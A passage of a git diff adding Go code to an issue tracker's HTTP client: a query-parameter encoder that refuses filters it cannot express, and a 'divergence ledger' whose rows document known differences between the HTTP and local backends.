of. +// +// It is ReadyBridgeParams with the page taken off, not a second mapper. The +// filter half goes through the bridge's own encoder — so every refusal it +// makes (ExcludeIDs, Offset, a non-default Status, ...) refuses here too, and a +// field the listing could not express can never be counted over a wider set — +// and then the three page-only parameters are removed: `limit` (countReadyWork +// refuses any value, and a cardinality has no page), `sort` (the count's order +// is server-fixed and its total order-independent) and `brief` (a count +// hydrates nothing). What remains is exactly readyFilterEntries, the parameter +// list the two operations share by construction. +func ReadyBridgeCountParams(f types.WorkFilter) (url.Values, error) { + f.Limit = 0 + f.Lite = false + v, err := ReadyBridgeParams(f) + if err != nil { + return nil, err + } + v.Del("limit") + v.Del("sort") + v.Del("brief") + return v, nil +} + +// recognizeReadyStatus inverts ready work's one derived default. +// +// listReadyWork publishes no status parameter: handleReady decodes a status-LESS +// request and the server's role re-derives the status through +// workapi.BuildReadyFilter, which is unconditionally StatusOpen — open work +// only, the set `bd list --ready` shows. So a WorkFilter carrying exactly that +// derived default is the server's own baseline: the encoder sends no `status` +// and the server reproduces the identical row set. This is what lets every real +// `bd ready` and `bd ready --json` cross the wire, because BuildReadyFilter is +// the one shape the CLI ever builds and it always stamps StatusOpen. +// +// Any OTHER status refuses (L12), which is what makes the drop match the real +// filter EXACTLY. A named status the wire cannot carry — in_progress, closed, a +// custom category — would answer over the query's own open-only default rather +// than the set named; and an EMPTY status is the storage layer's own +// open+in_progress default (types.WorkFilter.Status), which the ready operation +// cannot express either. A populated Statuses OR-set is left to the residual +// sweep, which refuses it as E-WorkFilter.Statuses. +func (b *builder) recognizeReadyStatus(f types.WorkFilter) { + if b.err != nil { + return + } + if f.Status != types.StatusOpen { + b.err = &RefusedError{Op: b.op, Shape: b.shape, Row: RowByID("E-WorkFilter.Status")} + } +} + +// SearchShape names one of the two shapes the SearchIssues bridge serves. +type SearchShape string + +const ( + // SearchExactIDs is D11's fast path: one getIssue per named id. + SearchExactIDs SearchShape = "searchExactIDs" + // SearchParentWalk is D4's hierarchical descendant walk: paged + // listIssues?parent= calls, one level at a time. + SearchParentWalk SearchShape = "searchParentWalk" +) + +// SearchPlan is what a raw SearchIssues filter becomes. +type SearchPlan struct { + Shape SearchShape + // IDs is the exact-ids fan-out, in the caller's order. + IDs []string + // Params is the listing query for the descendant walk. The pager owns the + // per-page `limit` and the cursor. + Params url.Values +} + +// PlanSearch classifies a raw types.IssueFilter into one of the bridge's two +// shapes, or refuses. +// +// SHAPE FIRST, THEN FIELDS. Which shape a filter is in decides which of its +// fields are readable at all — a ParentID means nothing to getIssue and an id +// set means nothing to a descendant walk — so the classification happens before +// the refusal sweep rather than after it. +// +// vocabulary is the status and type set the descendant walk's derived-default +// inversion recognizes with (parentwalk.go). It must yield the SAME ListConfig +// the filter was built from, which is what makes the inversion exact rather than +// approximate. +// +// It is a FUNCTION rather than a value because only one of the two shapes reads +// it, and the other one is the resolver's hot path: ResolvePartialID runs on +// every id-taking command, and loading a vocabulary the exact-ids arm never +// consults would put three round trips in front of every `bd show`. Deferring it +// into the arm that needs it is also what keeps a REFUSED plan from dialing at +// all — the shape is decided, and rejected, before the wire is touched. +func PlanSearch(f types.IssueFilter, vocabulary func() ListConfig) (SearchPlan, error) { + hasIDs, hasParent := len(f.IDs) > 0, f.ParentID != nil && *f.ParentID != "" + switch { + case hasIDs && hasParent: + // Refused BEFORE a shape is chosen. Letting precedence pick one would + // make the refusal cite whichever field the loser happened to be, + // which is a worse answer than naming the conflict itself. + return SearchPlan{}, &RefusedError{Op: OpListIssues, Row: RowByID("E-IssueFilter.shapeConflict")} + + case hasIDs: + if len(f.IDs) > MaxExactIDs { + return SearchPlan{}, &RefusedError{Op: OpGetIssue, Shape: string(SearchExactIDs), Row: RowByID("E-IssueFilter.IDs@bound")} + } + b := newBuilder(OpGetIssue, string(SearchExactIDs)) + b.refuseInexpressible(f) + if _, err := b.done(); err != nil { + return SearchPlan{}, err + } + return SearchPlan{Shape: SearchExactIDs, IDs: append([]string(nil), f.IDs...)}, nil + + case hasParent: + v, err := planParentWalk(f, vocabulary()) + if err != nil { + return SearchPlan{}, err + } + return SearchPlan{Shape: SearchParentWalk, Params: v}, nil + } + return SearchPlan{}, &RefusedError{Op: OpListIssues, Row: RowByID("E-IssueFilter.noShape")} +} + +// issueTypeNames widens a typed exclusion list onto the wire's plain strings. +func issueTypeNames(in []types.IssueType) []string { + if len(in) == 0 { + return nil + } + out := make([]string, 0, len(in)) + for _, t := range in { + out = append(out, string(t)) + } + return out +} + +// builder accumulates one request's parameters and its first refusal. +// +// FIRST refusal rather than last, mirroring internal/httpapi's own query +// decoder: the answer must not depend on the order a caller happens to populate +// fields in, and the table's declaration order is the order the sweep walks. +type builder struct { + op Op + shape string + v url.Values + err error +} + +func newBuilder(op Op, shape string) *builder { + return &builder{op: op, shape: shape, v: url.Values{}} +} + +// refuseInexpressible walks this encoding's table and refuses the first +// populated field the wire cannot carry. +// +// It is table-driven on purpose. A hand-rolled check per field is a check that +// can be forgotten for the field added next week, and the forgetting is silent: +// the encoder would emit nothing for it and the server would have nothing to +// reject. Reading the table means the encoder and the classification the gates +// verify are the SAME statement rather than two that agree today. +func (b *builder) refuseInexpressible(source any) { + if b.err != nil { + return + } + table, ok := TableFor(b.op, b.shape) + if !ok { + b.err = fmt.Errorf("encode: no encoder table for operation %q shape %q", b.op, b.shape) + return + } + rv := reflect.ValueOf(source) + if rv.Type() != table.Source { + b.err = fmt.Errorf("encode: %s expects %s, got %s", table.Op, table.Source, rv.Type()) + return + } + for _, entry := range table.Fields { + if entry.Disposition != DispRefused { + continue + } + field := rv.FieldByName(entry.Name) + if !field.IsValid() { + b.err = fmt.Errorf("encode: %s has no field %s", table.Source, entry.Name) + return + } + if populated(field) { + b.err = &RefusedError{Op: b.op, Shape: b.shape, Row: RowByID(entry.Ledger)} + return + } + } +} + +// populated reports whether a field carries a value the caller set. +// +// An empty-but-non-nil slice or map is NOT populated: it constrains nothing, so +// refusing it would turn a no-op into an error. A non-nil pointer IS, even to a +// zero value — priority 0 is a real priority and `Ephemeral: &false` is a real +// restriction, and both have been lost by code that read a zero as absent. +func populated(v reflect.Value) bool { + switch v.Kind() { + case reflect.Slice, reflect.Map: + return v.Len() > 0 + default: + return !v.IsZero() + } +} + +func (b *builder) str(param, value string) { + if value != "" { + b.v.Set(param, value) + } +} + +func (b *builder) strPtr(param string, value *string) { + if value != nil { + b.str(param, *value) + } +} + +// boolean emits only the TRUE spelling. Every flag on this surface documents +// false as its default, so an explicit `false` would be a parameter that says +// nothing — and one more value for the server to parse. +func (b *builder) boolean(param string, value bool) { + if value { + b.v.Set(param, "true") + } +} + +// intPtr emits a pointer-valued number, INCLUDING zero. The pointer is what +// distinguishes unset from an explicit value, which is the whole reason these +// fields are pointers. +func (b *builder) intPtr(param string, value *int) { + if value != nil { + b.v.Set(param, strconv.Itoa(*value)) + } +} + +// intPositive emits a plain int only when it bounds something. The legacy +// filters spell "no bound" as 0, so a zero here is an absent parameter rather +// than the wire's `limit=0`, which means unlimited and is refused off loopback. +func (b *builder) intPositive(param string, value int) { + if value > 0 { + b.v.Set(param, strconv.Itoa(value)) + } +} + +func (b *builder) list(param string, values []string) { + for _, value := range values { + b.v.Add(param, value) + } +} + +// timestamp emits an instant in UTC with whatever sub-second precision it +// carries. RFC3339Nano round-trips through the server's time.Parse without +// losing a fractional second, which a bare RFC3339 format would silently drop — +// and a dropped fraction on a created bound is a widened result set. +func (b *builder) timestamp(param string, value *time.Time) { + if value != nil { + b.v.Set(param, value.UTC().Format(time.RFC3339Nano)) + } +} + +// metadata emits the repeatable key=value equality filter, in key order so one +// filter always produces one query string. +// +// The parameter name is not a parameter of this method: every operation that +// publishes the filter at all spells it `metadata_field`, so taking it from the +// caller would be one more thing a call site could get wrong for no expressive +// gain. +func (b *builder) metadata(fields map[string]string) { + const param = "metadata_field" + if len(fields) == 0 { + return + } + keys := make([]string, 0, len(fields)) + for key := range fields { + keys = append(keys, key) + } + sort.Strings(keys) + for _, key := range keys { + b.v.Add(param, key+"="+fields[key]) + } +} + +// readyFilters emits the filter vocabulary listReadyWork and countReadyWork +// share, which is every parameter but the order and the page. +func (b *builder) readyFilters(req issueops.ReadyRequest) { + b.str("type", req.IssueType) + b.str("assignee", req.Assignee) + b.boolean("unassigned", req.Unassigned) + + b.list("label", req.Labels) + b.list("label_any", req.LabelsAny) + b.list("exclude_label", req.ExcludeLabels) + b.str("label_pattern", req.LabelPattern) + b.str("label_regex", req.LabelRegex) + + b.intPtr("priority", req.Priority) + b.str("parent", req.ParentID) + + b.list("exclude_type", req.ExcludeTypes) + b.metadata(req.MetadataFields) + b.str("has_metadata_key", req.HasMetadataKey) + + b.boolean("include_ephemeral", req.IncludeEphemeral) + b.boolean("include_deferred", req.IncludeDeferred) +} + +func (b *builder) done() (url.Values, error) { + if b.err != nil { + return nil, b.err + } + return b.v, nil +} diff --git a/internal/httpclient/encode/ledger.go b/internal/httpclient/encode/ledger.go new file mode 100644 index 000000000..23644ae43 --- /dev/null +++ b/internal/httpclient/encode/ledger.go @@ -0,0 +1,1040 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/encode/ledger.go@49d1df2f6) +// to OSS beads under the MIT license. +package encode + +import ( + "fmt" + "reflect" + "sync" + + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The divergence ledger, v1. +// +// engdocs/design/http-client-backend.md D9 states the discipline this file +// instantiates: "Every knowingly-degraded behavior is a ledger row with a +// pinned test... A degradation not in this table is a bug." The prose table +// lives in the design; this is the machine-readable copy the client actually +// consults, and it carries three populations rather than one: +// +// - The D9 rows themselves (L1-L18, with L17 deleted rather than skipped — +// see the L-sequence note in designRows), which describe whole behaviors rather +// than single fields. They are here so that the numbering the design and +// the review log cite resolves to something a test can read. +// - The refuse-not-drop enumeration D8 closes with: every role-request field +// the wire has no member for. These name a Go field on a request type and +// are what makes "refused, never dropped" checkable rather than asserted. +// - One row per request-shape field this package's encoder cannot put on the +// wire. Those are the rows the encoder itself reaches for: a refusal is +// raised BY ledger id, so a refusal with no row is a compile-time absence +// rather than a prose gap, and the bijection gate reads the same rows back. +// +// WHY A REFUSAL CARRIES A ROW RATHER THAN A STRING. D7's third taxonomy text +// has to name the flag that produced a parameter, and D9 requires every +// degradation to cite a pinned test. Both facts belong to the divergence, not +// to the call site that discovered it, so the call site raises the id and the +// row supplies the vocabulary. It also makes the failure mode of a forgotten +// entry loud: RowByID panics on an unknown id, and the bijection gate fails on +// a row nothing references. +// +// WHAT IS NOT HERE. Rows for the surfaces this package does not encode — the +// unsupported-allowlist refusals of D8, the whole-command refusals of D7 that +// have no request field — appear only where the design names them as +// refuse-not-drop residue or as a D9 row. The store skeleton owns the rest. + +// Kind classifies what a ledger row promises. +type Kind string + +const ( + // KindRefuse is a divergence that FAILS rather than proceeding: a + // populated field, or an invoked flag, that the v0 wire cannot express. + // Refusing is the whole point — a dropped filter widens a result set + // invisibly, which is the one failure class no server-side gate can + // observe (D7). + KindRefuse Kind = "refuse" + // KindDegrade is a divergence that PROCEEDS with knowingly different + // behavior. Every one of these is a judgment that the difference cannot be + // misread as a narrower or wider answer than the caller asked for. + KindDegrade Kind = "degrade" + // KindRetired is a row the design has retired. It stays so the L-numbers + // the design, the council log and the beads cite keep resolving, and so a + // re-enumeration can tell "retired" from "never existed". + KindRetired Kind = "retired" +) + +// Row is one divergence: what diverges, why, which decision it comes from, and +// what pins it. +type Row struct { + // ID is the stable citation. D9's own rows keep their L-numbers; the rest + // are prefixed by population — E for an encoder field, W for the + // write-side refuse-not-drop enumeration, F for a command or flag. + ID string + // Kind is what this row promises. + Kind Kind + + // Type and Field name the Go request field that diverges, for the rows + // that have one. Type is nil on a row that describes a behavior or a flag + // rather than a field. Holding the reflect.Type rather than its name is + // what makes a renamed or deleted field a test failure instead of a stale + // string. + Type reflect.Type + Field string + + // Flag is the user's spelling, where one exists — D7's refusal texts speak + // flags and commands, never store method names. Empty when the divergence + // has no single flag behind it. + Flag string + // Command is the cmd/bd command path this row is about, spelled the way the + // classification tables spell it ("count", "ready", "mol ready"). Empty on a + // row that is not about a command. + // + // It exists because the command was only ever in the PROSE, and prose is + // what let F-count claim `bd count` refuses for a whole wave after the + // command was served. cmd/bd's TestFRowsAgreeWithTheCommandClassification + // binds this field to httpRefusedCommands/httpServedCommands, so the claim + // is checked rather than read. + Command string + // Capability is the wire token behind a LATE refusal: the command is SERVED + // and refuses only against a server that does not advertise this token. + // + // It is what distinguishes F-close — a refuse row whose command is served — + // from a whole-command refusal, and it binds harder than a boolean would: + // the gate requires the served command's own capability list to name it. + Capability string + + // What describes the divergence for a reader. Required on every row; on a + // field row it says what the field asked for that the wire cannot carry. + What string + // Why is the reason the wire cannot carry it, or the reason the + // degradation is the right answer. + Why string + // SpecRow cites the decision in engdocs/design/http-client-backend.md. + SpecRow string + // PinnedBy names the test that holds this row honest, or carries a + // TODO() when the pinning test is another bead's deliverable. It is + // never empty: D9's whole discipline is that a ledger row without a pin is + // a wish. + PinnedBy string +} + +// pinnedByS3Conformance is the TODO sentinel for ledger rows whose claim is +// provable only from behind two seams this package (S2) does not build: +// +// - a server wired to a real/reference backing store — multi-page reads +// under concurrent writes, racing claims, dual-running against a second +// implementation, actor/provenance rules an httptest fixture's canned +// in-memory role does not enforce — and +// - cmd/bd wired to this client — the subprocess parity corpus, the +// pre-run classified-refused-command table, flag-mode refusals driven +// through the real cobra tree. +// +// Both are S3's: the store/dial seam and the cmd/bd integration that gives +// this client a binary to run those suites against. Until that wiring lands +// there is no test in ANY package that exercises the claim, so each row that +// cited an enterprise test of this shape is re-pinned here rather than left +// pointing at a name with nothing behind it — the well-formedness gate +// accepts TODO() for exactly this reason (see PinnedBy's doc comment). +// +// This package's OWN behavior — the encode/decode tables, the capability +// gate, the wire-revision floor — stays pinned to real tests in this package +// (TestEncoderTableClassifiesEveryRequestField, +// TestEncoderHonorsEveryTableDisposition, +// TestEncodedParametersRoundTripThroughTheServerDecoder, and friends); this +// sentinel covers only the rows whose evidence is a layer S2 never touches. +const pinnedByS3Conformance = "TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline" + +// Ledger returns divergence ledger v1, in citation order. +// +// It builds a fresh copy per call rather than handing out a package-level +// slice, so no caller can edit the ledger another caller reads. The encoder's +// own lookups go through cachedLedger below and never through this. +func Ledger() []Row { + var rows []Row + rows = append(rows, designRows()...) + rows = append(rows, writeSideRows()...) + rows = append(rows, commandRows()...) + rows = append(rows, readyRequestRows()...) + rows = append(rows, listRequestRows()...) + rows = append(rows, queryRequestRows()...) + rows = append(rows, issueFilterRows()...) + rows = append(rows, parentWalkRows()...) + rows = append(rows, workFilterRows()...) + return rows +} + +// RowByID returns the row a refusal cites. +// +// It PANICS on an unknown id, which is the correct severity: the ids are +// package constants used from this package's own encoder, so an unknown one is +// a programming error that would otherwise surface as a refusal with no +// vocabulary — exactly the "raw store-method refusal reaching a %v call site" +// D7's choke point exists to make impossible. +func RowByID(id string) Row { + for _, row := range cachedLedger() { + if row.ID == id { + return row + } + } + panic(fmt.Sprintf("encode: no divergence-ledger row %q", id)) +} + +// cachedLedger is what a REFUSAL reads, so raising one does not rebuild the +// whole ledger. Ledger() keeps building a fresh copy for everyone else. +var cachedLedger = sync.OnceValue(Ledger) + +var ( + tyReadyRequest = reflect.TypeOf(issueops.ReadyRequest{}) + tyListRequest = reflect.TypeOf(issueops.ListRequest{}) + tyQueryRequest = reflect.TypeOf(issueops.QueryRequest{}) + tyCountRequest = reflect.TypeOf(issueops.CountRequest{}) + tyCountByGroupRequest = reflect.TypeOf(issueops.CountByGroupRequest{}) + tyGetRequest = reflect.TypeOf(issueops.GetRequest{}) + tyIssueFilter = reflect.TypeOf(types.IssueFilter{}) + tyWorkFilter = reflect.TypeOf(types.WorkFilter{}) + + tyUpdateRequest = reflect.TypeOf(issueops.UpdateRequest{}) + tyCloseRequest = reflect.TypeOf(issueops.CloseRequest{}) + tyReopenRequest = reflect.TypeOf(issueops.ReopenRequest{}) + tyDeleteRequest = reflect.TypeOf(issueops.DeleteRequest{}) + tyAddDeps = reflect.TypeOf(issueops.AddDependenciesRequest{}) + tyIssuePatch = reflect.TypeOf(issueops.IssuePatch{}) + + tyCreateRequest = reflect.TypeOf(issueops.CreateRequest{}) + tyCreateBatch = reflect.TypeOf(issueops.CreateBatchRequest{}) + tyBatchCreateItem = reflect.TypeOf(issueops.BatchCreateItem{}) + tyCreateDep = reflect.TypeOf(issueops.CreateDependency{}) + + tyApplyCreateItem = reflect.TypeOf(issueops.CreateItem{}) +) + +// designRows are D9's own table, transcribed. They describe behaviors rather +// than fields, so they carry no Type — but they are the rows the L-numbers in +// every other citation resolve to, and dropping them here would leave those +// citations pointing at prose only. +func designRows() []Row { + // pinnedElsewhere is for the three PRE-RUN degradations of D4 — molecule + // auto-load (L5), auto-import (L6), the ready view's parent-epic map (L13) — + // whose observable behavior is a cmd/bd invocation's, not a store call's. + // They are the subprocess parity tier's, and that tier is the one this wiring + // did not build. ga-b8ddd.12 (per-request project-id enforcement) closed the + // read-display ESCALATION — every read now carries the stamp, so a drifted + // server refuses it rather than rendering another project's rows — but the + // remaining fixture corpus that would PIN these pre-run displays is its + // follow-up, ga-b8ddd.23, which owns them. + // + // L17 (the conditional dep-remove guard) used to be the one remaining TODO row + // that was NOT subprocess-owned. It carried no row of its own once its + // condition resolved: the dual run ga-b8ddd.30 wrote + // (TestServedDependencyRecordsSurfaceUnresolvedRowsVerbatim) showed the wire + // surfaces unresolved depends_on_id rows VERBATIM, so the guard does not + // degrade and there was nothing to ledger. It is DELETED rather than retired, + // because a retirement records a divergence that once existed and this one + // never did. L1 is the retirement beside it — a row that WAS live and is kept + // as KindRetired for exactly that reason. + const pinnedElsewhere = "TODO(ga-b8ddd.23): a pre-run degradation, observable only through a cmd/bd invocation; the subprocess parity corpus pins it" + return []Row{ + { + // IT WAS DELETED OUTRIGHT for a while, against this file's own + // retirement policy: KindRetired exists so a re-enumeration can tell + // "retired" from "never existed", and the design keeps L1 in D9's + // table. A deleted row makes the two disagree and turns RowByID("L1") + // into a panic rather than an answer. + ID: "L1", Kind: KindRetired, + What: "RETIRED — `bd list` over http could not ask for the wisp plane", + Why: "retired by the upstream ask the design page filed for it: \"include_ephemeral on listIssues (retires L1)\". Upstream published the parameter, the server decodes it (internal/httpapi/reads.go handleListIssues), and the encoder emits it whenever ListRequest.IncludeEphemeral is set. " + + "THERE IS NO DIVERGENCE LEFT TO RECORD. `bd list` still shows no wisps, but it shows none LOCALLY either: the front door registers no --include-ephemeral (only `bd ready` does, ready.go), so the field is unset on both paths and both answer the durable plane. A degrade row describing behavior the local oracle shares is not a degradation, and keeping it as one would be the same falsified-premise problem the W- rows had — a ledger arguing from a document that moved", + SpecRow: "D9 L1 (RETIRED), D8 row 1", + // A retirement turns a refusal pin into a ROUND-TRIP pin: the + // parameter is populated here and read back by the server's own + // decoder, which is the fact the retirement rests on. + PinnedBy: "TestEncodedParametersRoundTripThroughTheServerDecoder", + }, + { + ID: "L2", Kind: KindDegrade, + What: "a non-created `bd list` sort, the flagless default included, costs page-to-exhaustion on the three legs that cannot push the order down: an unlimited read (--limit 0), a caller-supplied keyset position, and a server that does not advertise issues.list.sort", + Why: "NARROWED, not retired, by the upstream ask this row named: listIssues publishes `sort` and `reverse`, and the pager's pushdown leg (list_walk.go sortedPage) answers a bounded, position-free request against an advertising server in ONE request, with the server's own LIMIT deciding which rows survive the caller's order. " + + "What is left is the legs where that is unavailable or unsafe. An unlimited read has to cross every row whatever the order, and `limit=0` pushed down would newly meet the server's unlimited-read refusal. A keyset position is defined in the created order, and the pager's prefix discard run against a page some other order truncated would drop rows whose replacements were never fetched — a wrong answer rather than a slow one. A down-level server is the fallback the capability probe exists to reach. On all three the client still fetches every page and applies the SQL order's own Go-side mirror plus a copy of the page epilogue's comparator. " + + "The weld itself is NOT a divergence and never was: a cursor is bound to the paged order it was minted in (`created` or `priority`) and the server refuses it under any other `sort`", + SpecRow: "D9 L2, D8 row 1", + // The dual run is the load-bearing half: it answers the SAME + // request from the reference store and from the client and compares + // the orders, so the divergence this row admits (the cost) is + // pinned separately from the one it forbids (a different answer). + // It now runs every arm TWICE, once down each leg, which is what + // makes the narrowing checkable: the pushdown and the walk have to + // agree with the reference AND with each other, truncated pages + // included, where the truncation is the only thing a re-sort cannot + // repair. + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L3", Kind: KindDegrade, + What: "a multi-page fetch has no snapshot isolation", + Why: "the keyset cursor pins a position, not a snapshot: rows created mid-walk are missed and row states mix instants, where local mode is one query", + SpecRow: "D9 L3", + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L4", Kind: KindRetired, + What: "`bd show` dependents sections and comment bodies were degraded", + Why: "retired by council #1: the write-lifecycle wave landed include_dependents/include_comments on getIssue, and both the off-role text path and the on-role JSON path are wired", + SpecRow: "D9 L4 (RETIRED), D4, D8 row 1", + // The dual run answers a Get from both sides and compares the + // MARSHALED bytes, over a row seeded with an edge and a comment + // precisely so the dependents and comments the retired degradation + // was about are non-empty on at least one side. + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L5", Kind: KindDegrade, + What: "molecules are not auto-loaded pre-run", + Why: "the loader writes, the write refuses, and the call site swallows the refusal to debug.Logf", + SpecRow: "D9 L5, D4", + PinnedBy: pinnedElsewhere, + }, + { + ID: "L6", Kind: KindDegrade, + What: "a pre-run auto-import ATTEMPT reaches an http workspace and fails as a best-effort stderr warning; nothing is imported", + Why: "THE MECHANISM THIS ROW USED TO NAME DOES NOT EXIST. It said the path was \"force-disabled through an import.auto=false env override\", and there is no such override anywhere: shouldRunAutoImportJSONL (cmd/bd/main.go) reads the config key, whose default is true (internal/config/config.go), and no http path sets it false. " + + "WHAT ACTUALLY HAPPENS is that maybeAutoImportJSONL runs — on any non-read-only, non-global, non-server-mode command — and is stopped by its own guards rather than by a switch: a missing or empty issues.jsonl, the attempt stamp, or the emptiness guard, which is a GetStatistics the server serves. Where all three pass (an empty server beside a non-empty local JSONL) the import is attempted and fails, because the client is not a jsonlImporter and the fallback importer's first write — SetConfig, or CreateIssuesWithFullOptions — is on the unsupported allowlist. The function is documented best-effort, so the failure is an stderr warning and the command proceeds. " + + "The DEGRADATION is therefore that nothing imports, which is the outcome the design wanted for the right reason — importing a local JSONL into a shared server is not a pre-run side effect — reached by refusal rather than by configuration. It stays a degrade because the command proceeds and the answer is not narrower or wider than the caller asked for. The retirement path is a real skip on the http backend, so the warning stops being the mechanism", + SpecRow: "D9 L6, D4", + PinnedBy: pinnedElsewhere, + }, + { + ID: "L7", Kind: KindDegrade, + What: "the client-side status/type vocabulary is defaults plus the status.custom/types.custom/types.infra config keys; table-backed customs are invisible client-side", + Why: "the custom_statuses/custom_types tables have no wire operation; server-side role validation still uses the true vocabulary", + SpecRow: "D9 L7, D4", + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L8", Kind: KindRefuse, Flag: "--deps", + What: "`bd list --deps` refuses, and the pretty/--format dependency-decoration arms render undecorated", + Why: "GetAllDependencyRecords has no wire mapping in v1; listDependencies is an anchored read. --tree is NOT in this row: it defaults true and is `bd list`'s default text rendering", + SpecRow: "D9 L8, D4", + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L9", Kind: KindDegrade, + What: "credential-bearing settings are unreadable client-side", + Why: "the server redacts by omission and says so on the wire in Setting.redacted; the client answers absent-WITH-A-REASON rather than the empty string a caller would read as unset", + SpecRow: "D9 L9", + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L10", Kind: KindRefuse, Flag: "--watch", + What: "`bd list --watch` and `bd show --watch` refuse", + Why: "the loops poll every 2s, each `bd list` tick is a full cursor walk (L2), per-tick errors spam or vanish, and the decoration is refused anyway (L8); N watchers against one server is a request storm its semaphore answers with 503s the loop does not back off from", + SpecRow: "D9 L10, D10", + // Two halves, one pin each: the TEXT is byte-pinned in the store + // (TestTheWatchRefusalReadsExactlyAsTheSpecWroteIt), and the + // flag-level early refusal that renders it is exercised against the + // real cobra tree here. The wrapper reads the text off + // (*Store).RefuseWatch rather than keeping a second copy. + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L11", Kind: KindDegrade, + What: "hooks fire client-side after the server's commit with no shared transaction, on connected workspaces only", + Why: "the seam sits below HookFiringStore in the client process; a --server-url ephemeral invocation has no hook directory and runs none", + SpecRow: "D9 L11, D1", + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L12", Kind: KindRefuse, + What: "an inexpressible filter refuses, never drops — the class rule every E- row below is an instance of", + Why: "a dropped filter widens a result set invisibly, and the server can only reject parameters it receives", + SpecRow: "D9 L12, D7", + PinnedBy: "TestEncoderHonorsEveryTableDisposition", + }, + { + ID: "L13", Kind: KindDegrade, + What: "pretty `bd ready` shows no parent-epic context", + Why: "buildParentEpicMap swallows the GetDependencyRecordsForIssues refusal into a nil map; the retirement path is an anchored listDependencies plus per-parent getIssue", + SpecRow: "D9 L13, D4", + PinnedBy: pinnedElsewhere, + }, + { + ID: "L14", Kind: KindDegrade, + What: "against a server that does NOT advertise issues.claimNext, the composed ReadyClaimer leaves three residues: the ready-at-fetch/claim-at-dial window, a false empty under contention after the bounded refetch, and a claimed row whose CARDINALITIES are as of the listing rather than of the claiming transaction", + Why: "claimIssue validates claimability, not readiness, so a listing plus a claim is not the local role's one transaction and cannot be made into one. " + + "THE ROW IS NARROWER THAN IT WAS. Upstream published POST /v0/beads/issues:claimNext (#5510) and client wave ga-jpywb dials it, so on any server that advertises the token NONE of these three residues exists: selection, the compare-and-set and the hydration share the server's own transaction, an empty front is a 200 with `claimed` absent rather than a lost-races error, and the counts describe the state the claim produced. The whole ReadyClaimer contract tier runs against that leg with nothing parked, which is the measurement that says the residues were the COMPOSITION's rather than the wire's. " + + "WHAT KEEPS THE ROW ALIVE is the DOWN-LEVEL leg, which survives on purpose: `bd ready --claim` worked against pre-#5510 servers before this port, and refusing it now would be a regression dressed as progress. It is the posture BatchCloser takes toward issues.batchClose, and it is why this row describes shipped behavior rather than history. " + + "The third residue is stated in its IMPLEMENTED form, which is not the one the design anticipated: the design expected a follow-up getIssue to hydrate the counts, and therefore a read that could fail AFTER the claim was durable. The composition takes the counts from the ready page it already fetched instead, so that failure mode does not exist — a claim changes no dependency, dependent or comment count, and what is left is staleness bounded by the same fetch-to-dial window residue (a) already owns. " + + "Retirement is no longer an upstream ask but a fleet fact: the row goes when no server this client may meet is older than #5510", + SpecRow: "D9 L14, D8 row 4", + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L15", Kind: KindDegrade, + What: "a --max-rows cap can fire over http on a query whose Limit is at or under the cap, on the `bd list` legs that still walk", + Why: "locally the effective SQL LIMIT is min(Limit, MaxRows+1), so a window at or under the cap can never exceed it; over http a walk to exhaustion fetches far more than the window and the cap deliberately bounds WIRE ROWS FETCHED — safety wins over exit-code parity on exactly the unbounded walk the cap exists to bound. " + + "NARROWED by the same pushdown that narrowed L2: the pushdown leg asks for min(limit, MaxRows+1) rows in one request, which IS the local expression, so a cap at or above the limit can no longer fire there and a request that used to exit 2 now answers. That is a convergence toward the contract, and it is observable — the same command changes from a refusal to a page. " + + "THE NARROWING IS SCOPED TO THE ORDERS SQL CAN EXPRESS, and that scope is a correctness bound rather than an optimization left on the table. For a GO-SIDE sort — sqlbuild.IsGoSideSort, today `--sort id`, which needs the natural-numeric comparison (bd-9 before bd-10) no ORDER BY renders — workapi.SQLLimit pushes 0 down instead of the limit, so LOCALLY the window is MaxRows+1 whatever the limit is and the cap fires on the overage even under a limit at or below it. min(limit, MaxRows+1) is therefore NOT the local expression there, and a request bounded by the limit cannot see the overage at all. walkIssues' gate keeps a capped Go-side sort on the walk, where fetching MaxRows+1 wire rows reproduces that unbounded local window exactly and raises the same refusal — so on this one shape the walk leg is the CONVERGENT one and pushing down would have been the divergence. " + + "What keeps the row live is the walk legs (unlimited reads, keyset positions, down-level servers), where the old accounting is unchanged and correct, and `bd ready`, which has no pushdown at all", + SpecRow: "D9 L15, D12", + // Re-pointed from the ready bridge's cap test to the list one, + // because the narrowing is a `bd list` fact and the ready cap is + // the part that did not move. The list test carries the repair + // (a roomy cap under pushdown answers), the residue (a cap under + // the limit still fires there) and the control (the same roomy cap + // still fires down the walk leg) in one place. + // TestTheReadyBridgeEnforcesMaxRowsClientSide still pins the ready + // half and is unchanged. + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L16", Kind: KindRefuse, Flag: "--file", + What: "`bd dep add --file` carrying more than 100 edges refuses, naming the wire bound; it is never chunked", + Why: "maxAddDependencyEdges = 100 (internal/httpapi/dependency_edit.go); chunking is the one path that silently breaks the request's one-transaction/one-history-entry contract, where naive forwarding at least fails loudly", + SpecRow: "D9 L16, D7, D8 row 18", + // The boundary itself, both sides: exactly maxAddDependencyEdges + // serves, one more refuses, and the refusal never dials — chunking + // is what this row forbids, so "did not reach the server" is the + // assertion that matters. + PinnedBy: pinnedByS3Conformance, + }, + { + ID: "L-close-cap", Kind: KindRefuse, + What: "a batch close naming more than 100 items refuses, naming the wire bound; it is never chunked", + Why: "maxBatchCloseItems = 100 (internal/httpapi/batch_close.go); the item cap bounds how long one request may hold a write transaction. Chunking is the one path that silently breaks the request's one-transaction/one-history-entry contract — the same reason L16 refuses a bulk dependency add rather than splitting it — so a larger list refuses and the caller splits it, each request atomic on its own", + SpecRow: "D9 L-close-cap, D7 F-close, D8 row 17", + // L16's sibling: exactly maxBatchCloseItems serves, one more refuses, + // and the refusal never dials — chunking is what the row forbids. + 